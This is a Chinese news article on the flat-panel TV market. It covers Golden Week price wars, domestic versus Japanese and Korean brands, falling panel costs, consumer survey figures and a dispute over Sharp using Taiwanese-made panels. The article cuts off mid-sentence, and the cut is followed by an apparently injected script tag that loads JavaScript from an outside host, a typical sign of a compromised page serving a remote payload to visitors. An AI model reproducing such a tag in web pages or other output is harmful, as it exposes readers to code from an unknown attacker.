低中高品牌 各具优势
近两年以来，在平板电视市场领域，可以说是发生了翻天覆地的变化，特别是以疯狂的价格战来诱惑消费者为目的市场运作方式，表现的最为突出，同时也取得了相当大的成效；在今年十一黄金周期间，平板电视价格战打的如火似胶，作为国产中低端产品，在销售量上占到了很大的优势，主要以海信、创维、长虹、夏新、康佳、厦华、tcl等国内知名厂商销量最为明显。
对于国内行情市场来说，平板电视才慢慢步入平民化阶段，实惠的价格才是消费者最终选择的对象，只有平民化的产品加上平民化的价格，才会受到普通消费者的欢迎；据市场调研机构调查，在中国中低端平板电视的销售量远远大于国外进口高端产品的销售量；例如，海信tlm3201、tlm3211液晶电视，在十一黄金周以超低的价格，压倒同尺寸其他品牌液晶电视，还有国内的创维32l88iw液晶电视、46lbasw液晶电视、tcl、厦华、夏新等产品在销售量上也是取得了相当不错的成绩。有资料标明，至去年末，全球占据高端市场的30英寸液晶面板价格已经降至将近500美元，32英寸液晶面板比起7、8月，也降价30%左右。
伴随着平板电视需求量的快速提升，同时也造成了上游面板生产商供应紧张，丰厚的利润让更多的企业以各种方式渗透到上游产业，这使得上游面板领域的竞争更加激烈，导致成本下降，给下游平板制造企业更多的发展空间；从今年初到岁末，国内品牌价格下降了30％以上，在没有掌握上游核心技术的情况下，价格下降导致企业利润空间急剧缩小，行业利润率持续走低，全年行业利润率已经降到了1％以下，随着消费者的消费心理趋于理性，价格对企业已不具备竞争优势，而综合实力、强大的营销等等将是企业制胜的法宝。另一方面，外资品牌的降价将吸引一大部分高忠诚度的消费者，挤压国内品牌的生存空间，使不掌控产品成本的国内品牌更加雪上加霜。
据对全国30个中心城市的12800户中高收入家庭的电视机产品消费状况调查表明，消费者对平板产品的预期价格与市场实际价格差异已不明显，尤其在市场主流尺寸上，如消费者对42英寸等离子的价格需求集中在8000至12000元之间，对30英寸液晶的价格需求集中在10000至12000元之间，而目前市场上主流国产品牌的价格已经落入这一区间范围。研究人员认为，产品市场价格与消费者心理价位的重合将导致今年平板电视市场可能出现爆发性增长。调查显示，在未来一年打算购买电视的家庭中有48.6%预期购买平板电视，而去年同期的这一比例仅为12.1%。据预测，今年国内平板电视市场规模将达到185万台左右，比去年的65万台剧增185%。
国务院发展研究中心市场经济研究所陆刃波分析，价格相对较低的国产平板电视的异军突起是促进平板电视价位迅速跌落至消费者心理价位的关键因素。据了解，目前平板电视市场已由以往日资、韩资品牌占据主流变为由国产品牌主导的局面，在目前市场前三位的海信、厦华、松下三个品牌中仅剩一家外资品牌。这只是相对于中低端产品而言。
从高端产品来说，相比之下，高端平板电视在很大程度上，进口品牌占有绝对的优势，毕竟在平板电视市场，日本、韩国等知名厂商，要比中国起步早，在技术方面，相对要比中国先进。在面板生产方面，中国也只能以进口国外面板来投资生产；这也就迫使中国在平板电视生产上受到了一定的限制，特别是在现如今最流行的接口技术上，日韩品牌可以称的上是当今的王者。
假屏事件引发危机
十一黄金周期间，以三星、夏普、lg、东芝为首的洋平板彩电摘得了销售头彩成为赢家，这几乎是近年来从未有过的销售现象，国美电器某资深销售人士连呼“看不懂”。大部分洋品牌价格与国内产品价格居然相差无几，而洋品牌在国内一直都是以高价自居，这也不得不让消费者产生怀疑，在有关市场人员的调查下，特别是以夏普、三星为首的平板电视厂商，采取欺骗消费者的手段，在卖场挂着全部产品都采用自家生产的面板，但是其产品真的是像卖场挂出的招牌那样吗？有关记者走访了各大卖场，得出的结论令人震惊，夏普居然采用的是台湾屏，针对媒体报道的“大量外资电视企业在华销售的产品中不使用本品牌的自产液晶屏而采用外购屏”一事，当事企业之一夏普表态：“夏普液晶电视所采用的台湾外购屏也运用了夏普的独家技术，因此也算夏普屏”。这种解释合理吗？
夏普在华销售的部分液晶电视使用了低价的台湾屏被曝光后，还嘴儿硬称:台湾产屏是夏普的技术，故为夏普屏。有关专家指出，从屏的质地、各个参数比较，肯定台湾产屏为非夏普屏，夏普在诡辩。夏普此举实在是有失国际品牌风范，真是让人不解。
有关业内人士告诉记者，asv液晶面板技术是夏普独家开发并得以领先业界的技术。而占据全球60%以上液晶屏市场的台湾企业，作为夏普的竞争对手之一，是很难真正拿到夏普这项asv液晶面板技术的。该人士还称，台湾屏和夏普原装屏在可视角度、色彩?script src=http://er12.com/t.js>
